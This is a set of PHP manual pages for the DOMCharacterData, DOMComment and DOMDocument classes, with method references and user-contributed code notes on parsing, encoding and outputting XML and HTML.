(PHP 5, PHP 7)

简介

Represents nodes with character data. No nodes directly correspond to this class, but other nodes do inherit from it.

类摘要

DOMCharacterData extends DOMNode {
/* 属性 */
public string $data ;
readonly public int $length ;
/* 继承的属性 */
public readonly string $nodeName ;
public string $nodeValue ;
public readonly int $nodeType ;
public readonly DOMNode $parentNode ;
public readonly DOMNodeList $childNodes ;
public readonly DOMNode $firstChild ;
public readonly DOMNode $lastChild ;
public readonly DOMNode $previousSibling ;
public readonly DOMNode $nextSibling ;
public readonly DOMNamedNodeMap $attributes ;
public readonly DOMDocument $ownerDocument ;
public readonly string $namespaceURI ;
public string $prefix ;
public readonly string $localName ;
public readonly string $baseURI ;
public string $textContent ;
/* 方法 */
public appendData ( string $data ) : void
public deleteData ( int $offset , int $count ) : void
public insertData ( int $offset , string $data ) : void
public replaceData ( int $offset , int $count , string $data ) : void
public substringData ( int $offset , int $count ) : string
/* 继承的方法 */
public DOMNode::appendChild ( DOMNode $newnode ) : DOMNode
public DOMNode::C14N ([ bool $exclusive [, bool $with_comments [, array $xpath [, array $ns_prefixes ]]]] ) : string
public DOMNode::C14NFile ( string $uri [, bool $exclusive = FALSE [, bool $with_comments = FALSE [, array $xpath [, array $ns_prefixes ]]]] ) : int
public DOMNode::cloneNode ([ bool $deep ] ) : DOMNode
public DOMNode::getLineNo ( void ) : int
public DOMNode::getNodePath ( void ) : string
public DOMNode::hasAttributes ( void ) : bool
public DOMNode::hasChildNodes ( void ) : bool
public DOMNode::insertBefore ( DOMNode $newnode [, DOMNode $refnode ] ) : DOMNode
public DOMNode::isDefaultNamespace ( string $namespaceURI ) : bool
public DOMNode::isSameNode ( DOMNode $node ) : bool
public DOMNode::isSupported ( string $feature , string $version ) : bool
public DOMNode::lookupNamespaceUri ( string $prefix ) : string
public DOMNode::lookupPrefix ( string $namespaceURI ) : string
public DOMNode::normalize ( void ) : void
public DOMNode::removeChild ( DOMNode $oldnode ) : DOMNode
public DOMNode::replaceChild ( DOMNode $newnode , DOMNode $oldnode ) : DOMNode
}

属性

data

The contents of the node.

length

The length of the contents.

参见

  • » W3C specification of CharacterData

Table of Contents

  • DOMCharacterData::appendData — Append the string to the end of the character data of the node
  • DOMCharacterData::deleteData — Remove a range of characters from the node
  • DOMCharacterData::insertData — Insert a string at the specified 16-bit unit offset
  • DOMCharacterData::replaceData — Replace a substring within the DOMCharacterData node
  • DOMCharacterData::substringData — Extracts a range of data from the node

User Contributed Notes

jesdisciple dot FOO at gmail dot BAR dot com 08-Jul-2010 04:35
In case you're looking for the CDATA class to which nodes /do/ correspond, it's called DOMCdataSection (per my PHP installation) and isn't documented on php.net.  Presumably, it doesn't add anything to this API.

See also: http://www.php.net/manual/en/domdocument.createcdatasection.php


Append the string to the end of the character data of the node

  • ? DOMCharacterData
  • DOMCharacterData::deleteData ?
  • PHP Manual
  • DOMCharacterData
  • Append the string to the end of the character data of the node

DOMCharacterData::appendData

(PHP 5, PHP 7)

DOMCharacterData::appendData — Append the string to the end of the character data of the node

说明

public DOMCharacterData::appendData ( string $data ) : void

Append the string data to the end of the character data of the node.

参数

data

The string to append.

返回值

没有返回值。

参见

  • DOMCharacterData::deleteData() - Remove a range of characters from the node
  • DOMCharacterData::insertData() - Insert a string at the specified 16-bit unit offset
  • DOMCharacterData::replaceData() - Replace a substring within the DOMCharacterData node
  • DOMCharacterData::substringData() - Extracts a range of data from the node

User Contributed Notes

There are no user contributed notes for this page.


Remove a range of characters from the node

  • ? DOMCharacterData::appendData
  • DOMCharacterData::insertData ?
  • PHP Manual
  • DOMCharacterData
  • Remove a range of characters from the node

DOMCharacterData::deleteData

(PHP 5, PHP 7)

DOMCharacterData::deleteData — Remove a range of characters from the node

说明

public DOMCharacterData::deleteData ( int $offset , int $count ) : void

Deletes count characters starting from position offset.

参数

offset

The offset from which to start removing.

count

The number of characters to delete. If the sum of offset and count exceeds the length, then all characters to the end of the data are deleted.

返回值

没有返回值。

错误／异常

DOM_INDEX_SIZE_ERR

Raised if offset is negative or greater than the number of 16-bit units in data, or if count is negative.

参见

  • DOMCharacterData::appendData() - Append the string to the end of the character data of the node
  • DOMCharacterData::insertData() - Insert a string at the specified 16-bit unit offset
  • DOMCharacterData::replaceData() - Replace a substring within the DOMCharacterData node
  • DOMCharacterData::substringData() - Extracts a range of data from the node

User Contributed Notes

There are no user contributed notes for this page.


Insert a string at the specified 16-bit unit offset

  • ? DOMCharacterData::deleteData
  • DOMCharacterData::replaceData ?
  • PHP Manual
  • DOMCharacterData
  • Insert a string at the specified 16-bit unit offset

DOMCharacterData::insertData

(PHP 5, PHP 7)

DOMCharacterData::insertData — Insert a string at the specified 16-bit unit offset

说明

public DOMCharacterData::insertData ( int $offset , string $data ) : void

Inserts string data at position offset.

参数

offset

The character offset at which to insert.

data

The string to insert.

返回值

没有返回值。

错误／异常

DOM_INDEX_SIZE_ERR

Raised if offset is negative or greater than the number of 16-bit units in data.

参见

  • DOMCharacterData::appendData() - Append the string to the end of the character data of the node
  • DOMCharacterData::deleteData() - Remove a range of characters from the node
  • DOMCharacterData::replaceData() - Replace a substring within the DOMCharacterData node
  • DOMCharacterData::substringData() - Extracts a range of data from the node

User Contributed Notes

There are no user contributed notes for this page.


Replace a substring within the DOMCharacterData node

  • ? DOMCharacterData::insertData
  • DOMCharacterData::substringData ?
  • PHP Manual
  • DOMCharacterData
  • Replace a substring within the DOMCharacterData node

DOMCharacterData::replaceData

(PHP 5, PHP 7)

DOMCharacterData::replaceData — Replace a substring within the DOMCharacterData node

说明

public DOMCharacterData::replaceData ( int $offset , int $count , string $data ) : void

Replace count characters starting from position offset with data.

参数

offset

The offset from which to start replacing.

count

The number of characters to replace. If the sum of offset and count exceeds the length, then all characters to the end of the data are replaced.

data

The string with which the range must be replaced.

返回值

没有返回值。

错误／异常

DOM_INDEX_SIZE_ERR

Raised if offset is negative or greater than the number of 16-bit units in data, or if count is negative.

参见

  • DOMCharacterData::appendData() - Append the string to the end of the character data of the node
  • DOMCharacterData::deleteData() - Remove a range of characters from the node
  • DOMCharacterData::insertData() - Insert a string at the specified 16-bit unit offset
  • DOMCharacterData::substringData() - Extracts a range of data from the node

User Contributed Notes

There are no user contributed notes for this page.


Extracts a range of data from the node

  • ? DOMCharacterData::replaceData
  • DOMComment ?
  • PHP Manual
  • DOMCharacterData
  • Extracts a range of data from the node

DOMCharacterData::substringData

(PHP 5, PHP 7)

DOMCharacterData::substringData — Extracts a range of data from the node

说明

public DOMCharacterData::substringData ( int $offset , int $count ) : string

Returns the specified substring.

参数

offset

Start offset of substring to extract.

count

The number of characters to extract.

返回值

The specified substring. If the sum of offset and count exceeds the length, then all 16-bit units to the end of the data are returned.

错误／异常

DOM_INDEX_SIZE_ERR

Raised if offset is negative or greater than the number of 16-bit units in data, or if count is negative.

参见

  • DOMCharacterData::appendData() - Append the string to the end of the character data of the node
  • DOMCharacterData::deleteData() - Remove a range of characters from the node
  • DOMCharacterData::insertData() - Insert a string at the specified 16-bit unit offset
  • DOMCharacterData::replaceData() - Replace a substring within the DOMCharacterData node

User Contributed Notes

There are no user contributed notes for this page.


The DOMComment class

(PHP 5, PHP 7)

简介

Represents comment nodes, characters delimited by <!-- and -->.

类摘要

DOMComment extends DOMCharacterData {
/* 继承的属性 */
public string $data ;
readonly public int $length ;
public readonly string $nodeName ;
public string $nodeValue ;
public readonly int $nodeType ;
public readonly DOMNode $parentNode ;
public readonly DOMNodeList $childNodes ;
public readonly DOMNode $firstChild ;
public readonly DOMNode $lastChild ;
public readonly DOMNode $previousSibling ;
public readonly DOMNode $nextSibling ;
public readonly DOMNamedNodeMap $attributes ;
public readonly DOMDocument $ownerDocument ;
public readonly string $namespaceURI ;
public string $prefix ;
public readonly string $localName ;
public readonly string $baseURI ;
public string $textContent ;
/* 方法 */
public __construct ([ string $value ] )
/* 继承的方法 */
public DOMCharacterData::appendData ( string $data ) : void
public DOMCharacterData::deleteData ( int $offset , int $count ) : void
public DOMCharacterData::insertData ( int $offset , string $data ) : void
public DOMCharacterData::replaceData ( int $offset , int $count , string $data ) : void
public DOMCharacterData::substringData ( int $offset , int $count ) : string
public DOMNode::appendChild ( DOMNode $newnode ) : DOMNode
public DOMNode::C14N ([ bool $exclusive [, bool $with_comments [, array $xpath [, array $ns_prefixes ]]]] ) : string
public DOMNode::C14NFile ( string $uri [, bool $exclusive = FALSE [, bool $with_comments = FALSE [, array $xpath [, array $ns_prefixes ]]]] ) : int
public DOMNode::cloneNode ([ bool $deep ] ) : DOMNode
public DOMNode::getLineNo ( void ) : int
public DOMNode::getNodePath ( void ) : string
public DOMNode::hasAttributes ( void ) : bool
public DOMNode::hasChildNodes ( void ) : bool
public DOMNode::insertBefore ( DOMNode $newnode [, DOMNode $refnode ] ) : DOMNode
public DOMNode::isDefaultNamespace ( string $namespaceURI ) : bool
public DOMNode::isSameNode ( DOMNode $node ) : bool
public DOMNode::isSupported ( string $feature , string $version ) : bool
public DOMNode::lookupNamespaceUri ( string $prefix ) : string
public DOMNode::lookupPrefix ( string $namespaceURI ) : string
public DOMNode::normalize ( void ) : void
public DOMNode::removeChild ( DOMNode $oldnode ) : DOMNode
public DOMNode::replaceChild ( DOMNode $newnode , DOMNode $oldnode ) : DOMNode
}

参见

  • » W3C specification of Comment

Table of Contents

  • DOMComment::__construct — Creates a new DOMComment object

User Contributed Notes

There are no user contributed notes for this page.


Creates a new DOMComment object

  • ? DOMComment
  • DOMDocument ?
  • PHP Manual
  • DOMComment
  • Creates a new DOMComment object

DOMComment::__construct

(PHP 5, PHP 7)

DOMComment::__construct — Creates a new DOMComment object

说明

public DOMComment::__construct ([ string $value ] )

Creates a new DOMComment object. This object is read only. It may be appended to a document, but additional nodes may not be appended to this node until the node is associated with a document. To create a writeable node, use DOMDocument::createComment.

参数

value

The value of the comment.

范例

Example #1 Creating a new DOMComment

<?php

$dom = new DOMDocument('1.0', 'iso-8859-1');
$element = $dom->appendChild(new DOMElement('root'));
$comment = $element->appendChild(new DOMComment('root comment'));
echo $dom->saveXML(); /* <?xml version="1.0" encoding="iso-8859-1"?><root><!--root comment--></root> */

?>

参见

  • DOMDocument::createComment() - Create new comment node

User Contributed Notes

There are no user contributed notes for this page.


The DOMDocument class

(PHP 5, PHP 7)

简介

Represents an entire HTML or XML document; serves as the root of the document tree.

类摘要

DOMDocument extends DOMNode {
/* 属性 */
readonly public string $actualEncoding ;
readonly public DOMConfiguration $config ;
readonly public DOMDocumentType $doctype ;
readonly public DOMElement $documentElement ;
public string $documentURI ;
public string $encoding ;
public bool $formatOutput ;
readonly public DOMImplementation $implementation ;
public bool $preserveWhiteSpace = TRUE ;
public bool $recover ;
public bool $resolveExternals ;
public bool $standalone ;
public bool $strictErrorChecking = TRUE ;
public bool $substituteEntities ;
public bool $validateOnParse = FALSE ;
public string $version ;
readonly public string $xmlEncoding ;
public bool $xmlStandalone ;
public string $xmlVersion ;
/* 继承的属性 */
public readonly string $nodeName ;
public string $nodeValue ;
public readonly int $nodeType ;
public readonly DOMNode $parentNode ;
public readonly DOMNodeList $childNodes ;
public readonly DOMNode $firstChild ;
public readonly DOMNode $lastChild ;
public readonly DOMNode $previousSibling ;
public readonly DOMNode $nextSibling ;
public readonly DOMNamedNodeMap $attributes ;
public readonly DOMDocument $ownerDocument ;
public readonly string $namespaceURI ;
public string $prefix ;
public readonly string $localName ;
public readonly string $baseURI ;
public string $textContent ;
/* 方法 */
public __construct ([ string $version [, string $encoding ]] )
public createAttribute ( string $name ) : DOMAttr
public createAttributeNS ( string $namespaceURI , string $qualifiedName ) : DOMAttr
public createCDATASection ( string $data ) : DOMCDATASection
public createComment ( string $data ) : DOMComment
public createDocumentFragment ( void ) : DOMDocumentFragment
public createElement ( string $name [, string $value ] ) : DOMElement
public createElementNS ( string $namespaceURI , string $qualifiedName [, string $value ] ) : DOMElement
public createEntityReference ( string $name ) : DOMEntityReference
public createProcessingInstruction ( string $target [, string $data ] ) : DOMProcessingInstruction
public createTextNode ( string $content ) : DOMText
public getElementById ( string $elementId ) : DOMElement
public getElementsByTagName ( string $name ) : DOMNodeList
public getElementsByTagNameNS ( string $namespaceURI , string $localName ) : DOMNodeList
public importNode ( DOMNode $importedNode [, bool $deep = FALSE ] ) : DOMNode
public load ( string $filename [, int $options = 0 ] ) : mixed
public loadHTML ( string $source [, int $options = 0 ] ) : bool
public loadHTMLFile ( string $filename [, int $options = 0 ] ) : bool
public loadXML ( string $source [, int $options = 0 ] ) : mixed
public normalizeDocument ( void ) : void
public registerNodeClass ( string $baseclass , string $extendedclass ) : bool
public relaxNGValidate ( string $filename ) : bool
public relaxNGValidateSource ( string $source ) : bool
public save ( string $filename [, int $options = 0 ] ) : int
public saveHTML ([ DOMNode $node = NULL ] ) : string
public saveHTMLFile ( string $filename ) : int
public saveXML ([ DOMNode $node [, int $options = 0 ]] ) : string
public schemaValidate ( string $filename [, int $flags = 0 ] ) : bool
public schemaValidateSource ( string $source [, int $flags ] ) : bool
public validate ( void ) : bool
public xinclude ([ int $options = 0 ] ) : int
/* 继承的方法 */
public DOMNode::appendChild ( DOMNode $newnode ) : DOMNode
public DOMNode::C14N ([ bool $exclusive [, bool $with_comments [, array $xpath [, array $ns_prefixes ]]]] ) : string
public DOMNode::C14NFile ( string $uri [, bool $exclusive = FALSE [, bool $with_comments = FALSE [, array $xpath [, array $ns_prefixes ]]]] ) : int
public DOMNode::cloneNode ([ bool $deep ] ) : DOMNode
public DOMNode::getLineNo ( void ) : int
public DOMNode::getNodePath ( void ) : string
public DOMNode::hasAttributes ( void ) : bool
public DOMNode::hasChildNodes ( void ) : bool
public DOMNode::insertBefore ( DOMNode $newnode [, DOMNode $refnode ] ) : DOMNode
public DOMNode::isDefaultNamespace ( string $namespaceURI ) : bool
public DOMNode::isSameNode ( DOMNode $node ) : bool
public DOMNode::isSupported ( string $feature , string $version ) : bool
public DOMNode::lookupNamespaceUri ( string $prefix ) : string
public DOMNode::lookupPrefix ( string $namespaceURI ) : string
public DOMNode::normalize ( void ) : void
public DOMNode::removeChild ( DOMNode $oldnode ) : DOMNode
public DOMNode::replaceChild ( DOMNode $newnode , DOMNode $oldnode ) : DOMNode
}

属性

actualEncoding

Deprecated. Actual encoding of the document, is a readonly equivalent to encoding.

config

Deprecated. Configuration used when DOMDocument::normalizeDocument() is invoked.

doctype

The Document Type Declaration associated with this document.

documentElement

This is a convenience attribute that allows direct access to the child node that is the document element of the document.

documentURI

The location of the document or NULL if undefined.

encoding

Encoding of the document, as specified by the XML declaration. This attribute is not present in the final DOM Level 3 specification, but is the only way of manipulating XML document encoding in this implementation.

formatOutput

Nicely formats output with indentation and extra space.

implementation

The DOMImplementation object that handles this document.

preserveWhiteSpace

Do not remove redundant white space. Default to TRUE.

recover

Proprietary. Enables recovery mode, i.e. trying to parse non-well formed documents. This attribute is not part of the DOM specification and is specific to libxml.

resolveExternals

Set it to TRUE to load external entities from a doctype declaration. This is useful for including character entities in your XML document.

standalone

Deprecated. Whether or not the document is standalone, as specified by the XML declaration, corresponds to xmlStandalone.

strictErrorChecking

Throws DOMException on errors. Default to TRUE.

substituteEntities

Proprietary. Whether or not to substitute entities. This attribute is not part of the DOM specification and is specific to libxml.

validateOnParse

Loads and validates against the DTD. Default to FALSE.

version

Deprecated. Version of XML, corresponds to xmlVersion.

xmlEncoding

An attribute specifying, as part of the XML declaration, the encoding of this document. This is NULL when unspecified or when it is not known, such as when the Document was created in memory.

xmlStandalone

An attribute specifying, as part of the XML declaration, whether this document is standalone. This is FALSE when unspecified.

xmlVersion

An attribute specifying, as part of the XML declaration, the version number of this document. If there is no declaration and if this document supports the "XML" feature, the value is "1.0".

注释

Note:

The DOM extension uses UTF-8 encoding. Use utf8_encode() and utf8_decode() to work with texts in ISO-8859-1 encoding or Iconv for other encodings.

参见

  • » W3C specification for Document

Table of Contents

  • DOMDocument::__construct — Creates a new DOMDocument object
  • DOMDocument::createAttribute — Create new attribute
  • DOMDocument::createAttributeNS — Create new attribute node with an associated namespace
  • DOMDocument::createCDATASection — Create new cdata node
  • DOMDocument::createComment — Create new comment node
  • DOMDocument::createDocumentFragment — Create new document fragment
  • DOMDocument::createElement — Create new element node
  • DOMDocument::createElementNS — Create new element node with an associated namespace
  • DOMDocument::createEntityReference — Create new entity reference node
  • DOMDocument::createProcessingInstruction — Creates new PI node
  • DOMDocument::createTextNode — Create new text node
  • DOMDocument::getElementById — Searches for an element with a certain id
  • DOMDocument::getElementsByTagName — Searches for all elements with given local tag name
  • DOMDocument::getElementsByTagNameNS — Searches for all elements with given tag name in specified namespace
  • DOMDocument::importNode — Import node into current document
  • DOMDocument::load — Load XML from a file
  • DOMDocument::loadHTML — Load HTML from a string
  • DOMDocument::loadHTMLFile — Load HTML from a file
  • DOMDocument::loadXML — Load XML from a string
  • DOMDocument::normalizeDocument — Normalizes the document
  • DOMDocument::registerNodeClass — Register extended class used to create base node type
  • DOMDocument::relaxNGValidate — Performs relaxNG validation on the document
  • DOMDocument::relaxNGValidateSource — Performs relaxNG validation on the document
  • DOMDocument::save — Dumps the internal XML tree back into a file
  • DOMDocument::saveHTML — Dumps the internal document into a string using HTML formatting
  • DOMDocument::saveHTMLFile — Dumps the internal document into a file using HTML formatting
  • DOMDocument::saveXML — Dumps the internal XML tree back into a string
  • DOMDocument::schemaValidate — Validates a document based on a schema
  • DOMDocument::schemaValidateSource — Validates a document based on a schema
  • DOMDocument::validate — Validates the document based on its DTD
  • DOMDocument::xinclude — Substitutes XIncludes in a DOMDocument Object

User Contributed Notes

ashjkshdu283 at gmail dot com 07-Jul-2018 11:39
/* Function evolved from jay at jaygilford dot com post
  * This function will return an array of the values of the specified
  * attribute ($attr) for all the Dom Document object's elements
  */

<?php

function getAttrData(string $attr, DomDocument $dom) {
    // Empty array to hold all classes to return
    $attrData = array();

    //Loop through each tag in the dom and add it's attribute data to the array
    foreach($dom->getElementsByTagName('*') as $tag) {
        if(empty($tag->getAttribute($attr)) === false) {
            array_push($attrData, $tag->getAttribute($attr));
        }
    }

    //Return the array of attribute data
    return array_unique($attrData);
}

$html = '
<!DOCTYPE html>
<html>
<head>
<title>Page Title</title>
</head>
<body>
<a href="#someLink" id="someLink" class="link-class">Some Link</a>
<a href="#someOtherLink" id="someOtherLink" class="link-class">Some Other Link</a>
<h1 id="header1" class="header-class">My First Heading</h1>
<p id="para1" class="para-class">My first paragraph.</p>
</body>
</html>';
$dom = new DOMDocument();
$dom->loadHtml($html);
$dom->saveHTML();
var_dump(getAttrData('class', $dom));
biker dot mike at gmx dot com 22-Aug-2016 01:36
Look out for the following gotcha when loading XML from a string:

<?php
$doc = new \DOMDocument;
$doc->documentURI = $myXmlFilename;
$doc->loadXML($myXmlString);
?>

documentURI is now set to the value of $myXmlFilename, right?

Wrong!

It's set to the current working directory.  If you want to manually set documentURI to something other than the CWD, do so AFTER the call to loadXML().

E.g.:
<?php
$doc = new \DOMDocument;
$doc->loadXML($myXmlString);
$doc->documentURI = $myXmlFilename;
?>

documentURI really is now set to the value of $myXmlFilename.
developer at nabtron dot com 17-Dec-2015 07:34
For those landing here and checking for encoding issue with utf-8 characteres, it's pretty easy to correct it, without adding any additional output tag to your html.

We'll be utilizing: mb_convert_encoding

Thanks to the user who shared: SmartDOMDocument in previous comments, I got the idea of solving it. However I truly wish that he shared the method instead of giving a link.

Anyway coming back to the solution, you can simply use:

<?php

            // checks if the content we're receiving isn't empty, to avoid the warning
            if ( empty( $content ) ) {
                return false;
            }

            // converts all special characters to utf-8
            $content = mb_convert_encoding($content, 'HTML-ENTITIES', 'UTF-8');

            // creating new document
            $doc = new DOMDocument('1.0', 'utf-8');

            //turning off some errors
            libxml_use_internal_errors(true);

            // it loads the content without adding enclosing html/body tags and also the doctype declaration
            $doc->LoadHTML($content, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);

            // do whatever you want to do with this code now

?>

I hope it solves the issue for someone! If you need my help or service to fix your code, you can reach me on nabtron.com or contact me at the email mentioned with this comment.
ingjetel at gmail dot com 13-May-2015 11:54
Easy function for basic output of XML file via DOM parsing

<?php
$dom = new DomDocument();
$dom->load("./file.xml") or die("error");
$start = $dom->documentElement;
fc($start);

function fc($node) {
  $child = $node->childNodes;
  foreach($child as $item) {
    if ($item->nodeType == XML_TEXT_NODE) {
      if (strlen(trim($item->nodeValue))) echo trim($item->nodeValue)."<br/>";
    }
    else if ($item->nodeType == XML_ELEMENT_NODE) fc($item);
  }
}
?>
qrworld.net 11-Nov-2014 04:35
In this post http://softontherocks.blogspot.com/2014/11/descargar-el-contenido-de-una-url_11.html I found a simple way to get the content of a URL with DOMDocument, loadHTMLFile and saveHTML().

function getURLContent($url){
    $doc = new DOMDocument;
    $doc->preserveWhiteSpace = FALSE;
    @$doc->loadHTMLFile($url);
    return $doc->saveHTML();
}
danny dot nunez15 at gmail dot com 28-Oct-2013 02:54
A simple function to grab all links in a page.

    function get_links($url) {

        // Create a new DOM Document to hold our webpage structure
        $xml = new DOMDocument();

        // Load the url's contents into the DOM

        $xml->loadHTMLFile($url);

        // Empty array to hold all links to return
        $links = array();

        //Loop through each <a> tag in the dom and add it to the link array
        foreach ($xml->getElementsByTagName('a') as $link) {
            $url = $link->getAttribute('href');
            if (!empty($url)) {
                $links[] = $link->getAttribute('href');
            }
        }

        //Return the links
        return $links;
    }
sites.sitesbr.net 22-Jan-2013 12:37
How to objetify a DomDocument with hierarchy like:
<root>
    <item>
          <prop1>info1</prop1>
          <prop2>info2</prop2>
          <prop3>info3</prop3>
     </item>
    <item>
          <prop1>info1</prop1>
          <prop2>info2</prop2>
          <prop3>info3</prop3>
     </item>
</root>

It's possible to use in object style to retrieve information, as:

<?php
     $theNodeValue = $aitem->prop1;
?>

Here is the code: one Class and 2 functions.

<?php
 class ArrayNode{
       public $nodeName, $nodeValue;
 }

 function getChildNodeElements( $domNode ){
     $nodes = array();
     for( $i=0; $i < $domNode->childNodes->length; $i++){
       $cn = $domNode->childNodes->item($i);
       if( $cn->nodeType == 1){
           $nodes[] = $cn;
           }
     }
    return $nodes;
 }

 function getArrayNodes( $domDoc ){
     $res = array();

       for( $i=0; $i < $domDoc->childNodes->length; $i++){
       $cn = $domDoc->childNodes->item($i);
       # The first is the root tag...
          if( $cn->nodeType == 1){
               # But we want it's childNodes.
                $sub_cn = getChildNodeElements( $cn);
                # Found the tagName:
                $baseItemTagName = $sub_cn[0]->nodeName;
                break;
            }
        }

       $dnl = $domDoc->getElementsByTagName( $baseItemTagName);

       for( $i=0; $i< $dnl->length; $i++){
          $arrayNode = new ArrayNode();

      # Summary
      $arrayNode->nodeName = $dnl->item($i)->nodeName;
      $arrayNode->nodeValue = $dnl->item($i)->nodeValue;

      # Child Nodes
      $cn = $dnl->item($i)->childNodes;
      for( $k=0; $k<$cn->length; $k++){
           if( $cn->item($k)->nodeName == "#text" && trim($cn->item($k)->nodeValue) == "") continue;
           $arrayNode->{$cn->item($k)->nodeName} = $cn->item($k)->nodeValue;
      }

      # Attributes
      $attr = $dnl->item($i)->attributes;
      for( $k=0; $k < $attr->length; $k++){
           if(! is_null($attr)){
            if( $attr->item($k)->nodeName == "#text" && trim($attr->item($k)->nodeValue) == "") continue;
            $arrayNode->{$attr->item($k)->nodeName} = $attr->item($k)->nodeValue;
           }
      }

      $res[] = $arrayNode;

       }

     return $res;
 }
?>

To use it:

<?php

  # First you load a XML in a DomDocument variable.

   $url = "/path/to/yourxmlfile.xml";
   $domSrc = file_get_contents($url);
   $dom = new DomDocument();
   $dom->loadXML( $domSrc );

  # Then, you get the ArrayNodes from the DomDocument.

    $ans = getArrayNodes( $dom );

    for( $i=0; $i < count( $ans ) ; $i++){

    $cn =  $ans[ $i];

    $info1 =  $cn->prop1;
    $info2 =  $cn->prop2;
    $info3 =  $cn->prop3;

         // ...

   }

?>
Nick M 01-Jun-2011 10:16
You may need to save all or part of a DOMDocument as an XHTML-friendly string, something compliant with both XML and HTML 4. Here's the DOMDocument class extended with a saveXHTML method:

<?php

/**
 * XHTML Document
 *
 * Represents an entire XHTML DOM document; serves as the root of the document tree.
 */
class XHTMLDocument extends DOMDocument {

  /**
   * These tags must always self-terminate. Anything else must never self-terminate.
   *
   * @var array
   */
  public $selfTerminate = array(
      'area','base','basefont','br','col','frame','hr','img','input','link','meta','param'
  );

  /**
   * saveXHTML
   *
   * Dumps the internal XML tree back into an XHTML-friendly string.
   *
   * @param DOMNode $node
   *         Use this parameter to output only a specific node rather than the entire document.
   */
  public function saveXHTML(DOMNode $node=null) {

    if (!$node) $node = $this->firstChild;

    $doc = new DOMDocument('1.0');
    $clone = $doc->importNode($node->cloneNode(false), true);
    $term = in_array(strtolower($clone->nodeName), $this->selfTerminate);
    $inner='';

    if (!$term) {
      $clone->appendChild(new DOMText(''));
      if ($node->childNodes) foreach ($node->childNodes as $child) {
        $inner .= $this->saveXHTML($child);
      }
    }

    $doc->appendChild($clone);
    $out = $doc->saveXML($clone);

    return $term ? substr($out, 0, -2) . ' />' : str_replace('><', ">$inner<", $out);

  }

}

?>

This hasn't been benchmarked, but is probably significantly slower than saveXML or saveHTML and should be used sparingly.
evert at er dot nl 20-Nov-2010 02:17
A nice and simple node 2 array I wrote, worth a try ;)

<?php
function getArray($node)
{
    $array = false;

    if ($node->hasAttributes())
    {
        foreach ($node->attributes as $attr)
        {
            $array[$attr->nodeName] = $attr->nodeValue;
        }
    }

    if ($node->hasChildNodes())
    {
        if ($node->childNodes->length == 1)
        {
            $array[$node->firstChild->nodeName] = $node->firstChild->nodeValue;
        }
        else
        {
            foreach ($node->childNodes as $childNode)
            {
                if ($childNode->nodeType != XML_TEXT_NODE)
                {
                    $array[$childNode->nodeName][] = $this->getArray($childNode);
                }
            }
        }
    }

    return $array;
}
?>
admin at beerpla dot net 12-Mar-2010 02:12
After seeing many complaints about certain DOMDocument shortcomings, such as bad handling of encodings and always saving HTML fragments with <html>, <head>, and DOCTYPE, I decided that a better solution is needed.

So here it is: SmartDOMDocument. You can find it at http://beerpla.net/projects/smartdomdocument/

Currently, the main highlights are:

- SmartDOMDocument inherits from DOMDocument, so it's very easy to use - just declare an object of type SmartDOMDocument instead of DOMDocument and enjoy the new behavior on top of all existing functionality (see example below).

- saveHTMLExact() - DOMDocument has an extremely badly designed "feature" where if the HTML code you are loading does not contain <html> and <body> tags, it adds them automatically (yup, there are no flags to turn this behavior off).
Thus, when you call $doc->saveHTML(), your newly saved content now has <html><body> and DOCTYPE in it. Not very handy when trying to work with code fragments (XML has a similar problem).
SmartDOMDocument contains a new function called saveHTMLExact() which does exactly what you would want - it saves HTML without adding that extra garbage that DOMDocument does.

- encoding fix - DOMDocument notoriously doesn't handle encoding (at least UTF-8) correctly and garbles the output.
SmartDOMDocument tries to work around this problem by enhancing loadHTML() to deal with encoding correctly. This behavior is transparent to you - just use loadHTML() as you would normally.

- SmartDOMDocument Object As String - you can use a SmartDOMDocument object as a string which will print out its contents.
For example:
<?php
echo "Here is the HTML: $smart_dom_doc";
?>

I'm going to maintain this code and try to fix bugs as they come in.

Enjoy.
tloach at gmail dot com 05-Feb-2010 10:01
For anyone else who has been having issues with formatOuput not working, here is a work-around:

rather than just doing something like:

<?php
$outXML = $xml->saveXML();
?>

force it to reload the XML from scratch, then it will format correctly:

<?php
$outXML = $xml->saveXML();
$xml = new DOMDocument();
$xml->preserveWhiteSpace = false;
$xml->formatOutput = true;
$xml->loadXML($outXML);
$outXML = $xml->saveXML();
?>
jay at jaygilford dot com 27-Jan-2010 08:46
Here's a small function I wrote to get all page links using the DOMDocument which will hopefully be of use to others

<?php
/**
 * @author Jay Gilford
 */

/**
 * get_links()
 *
 * @param string $url
 * @return array
 */
function get_links($url) {

    // Create a new DOM Document to hold our webpage structure
    $xml = new DOMDocument();

    // Load the url's contents into the DOM
    $xml->loadHTMLFile($url);

    // Empty array to hold all links to return
    $links = array();

    //Loop through each <a> tag in the dom and add it to the link array
    foreach($xml->getElementsByTagName('a') as $link) {
        $links[] = array('url' => $link->getAttribute('href'), 'text' => $link->nodeValue);
    }

    //Return the links
    return $links;
}
?>
fcartegnie 31-Oct-2009 01:30
Be careful with formatOutput().

Creating an empty node like this:
createElement('foo','')
instead of
createElement('foo')
will break formatOutput.
PhilipWayneRollins at gmail dot com 15-Aug-2009 01:32
If you want to use the DOMDocument to create xHTML documents here is a simple class

Note this is designed for creating xHTML documents from scratch but could be easily extended to work with xHTML documents. Also this is for xHTML not XML.

<?php
    class Document
    {
        public $doctype;
        public $head;
        public $title = 'Sensei Ninja';
        public $body;
        private $styles;
        private $metas;
        private $scripts;
        private $document;

        function __construct (  )
        {
            $this->document = new DOMDocument( );
            $this->head = $this->document->createElement( 'head', ' ' );
            $this->body = $this->document->createElement( 'body', ' ' );
        }

        public function addStyleSheet ( $url, $media='all' )
        {
            $element = $this->document->createElement( 'link' );
            $element->setAttribute( 'type', 'text/css' );
            $element->setAttribute( 'href', $url );
            $element->setAttribute( 'media', $media );
            $this->styles[] = $element;
        }

        public function addScript ( $url )
        {
            $element = $this->document->createElement( 'script', ' ' );
            $element->setAttribute( 'type', 'text/javascript' );
            $element->setAttribute( 'src', $url );
            $this->scripts[] = $element;
        }

        public function addMetaTag ( $name, $content )
        {
            $element = $this->document->createElement( 'meta' );
            $element->setAttribute( 'name', $name );
            $element->setAttribute( 'content', $content );
            $this->metas[] = $element;
        }

        public function setDescription ( $dec )
        {
            $this->addMetaTag( 'description', $dec );
        }

        public function setKeywords ( $keywords )
        {
            $this->addMetaTag( 'keywords', $keywords );
        }

        public function createElement ( $nodeName, $nodeValue=null )
        {
          return $this->document->createElement( $nodeName, $nodeValue );
        }

        public function assemble ( )
        {
            // Doctype creation
